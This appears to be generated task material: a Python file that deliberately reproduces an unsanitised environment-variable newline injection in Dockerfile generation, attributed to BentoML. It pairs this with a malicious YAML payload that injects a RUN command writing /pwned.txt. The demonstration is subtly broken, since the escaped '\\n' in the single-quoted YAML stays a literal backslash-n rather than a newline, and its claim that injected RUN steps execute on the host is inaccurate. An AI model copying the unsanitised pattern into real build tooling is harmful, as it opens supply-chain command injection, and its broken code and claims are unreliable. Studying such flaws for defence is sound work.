Vulnerable code sample

import yaml

# This code represents the vulnerable logic in BentoML before the fix for
# CVE-2024-4346 (Note: the CVE in the prompt has a typo). The flaw is in the
# Dockerfile generation, where an environment variable's name from `bentofile.yaml`
# is not sanitized, allowing newline injection.

def generate_vulnerable_dockerfile(bento_config):
    """
    A simplified, vulnerable Dockerfile generator mimicking BentoML's
    behavior before the fix. It naively constructs Dockerfile content
    from a parsed configuration.
    """
    lines = [
        "FROM debian:buster-slim",
        "LABEL maintainer=\"BentoML Team <contact@bentoml.ai>\"",
    ]

    # VULNERABLE SECTION: Processes environment variables from the config.
    if "envs" in bento_config:
        lines.append("\n# Set up environment variables")
        for env_var in bento_config.get("envs", []):
            env_name = env_var.get("name")
            env_value = env_var.get("value", "")

            # THE VULNERABILITY:
            # The 'env_name' is inserted directly into the Dockerfile content
            # without any escaping. A newline character in 'env_name' will be
            # interpreted as a new line in the Dockerfile, allowing an attacker
            # to inject arbitrary commands (e.g., a RUN directive).
            lines.append(f"ENV {env_name} \"{env_value}\"")

    lines.append("\nCMD echo \"Container build complete\"")
    return "\n".join(lines)


if __name__ == "__main__":
    # This string represents a malicious 'bentofile.yaml'.
    # The 'name' of the environment variable contains a newline (`\n`)
    # followed by a malicious `RUN` command. The trailing '#' comments out
    # the rest of the original line to avoid a syntax error in the Dockerfile.
    malicious_yaml_content = """
service: "service.py:svc"
description: "A malicious bento"
envs:
  - name: 'INJECTED_VAR\\nRUN apt-get update && apt-get install -y fortune && /usr/games/fortune > /pwned.txt #'
    value: 'some_value'
"""

    # Simulate BentoML parsing the malicious YAML file.
    parsed_malicious_config = yaml.safe_load(malicious_yaml_content)

    # Generate the Dockerfile using the vulnerable function.
    generated_dockerfile = generate_vulnerable_dockerfile(parsed_malicious_config)

    # Print the resulting malicious Dockerfile to the console.
    # When `docker build` runs this file, the injected `RUN` command will
    # execute on the host during the build process.
    print("--- Generated Malicious Dockerfile ---")
    print(generated_dockerfile)
    print("------------------------------------")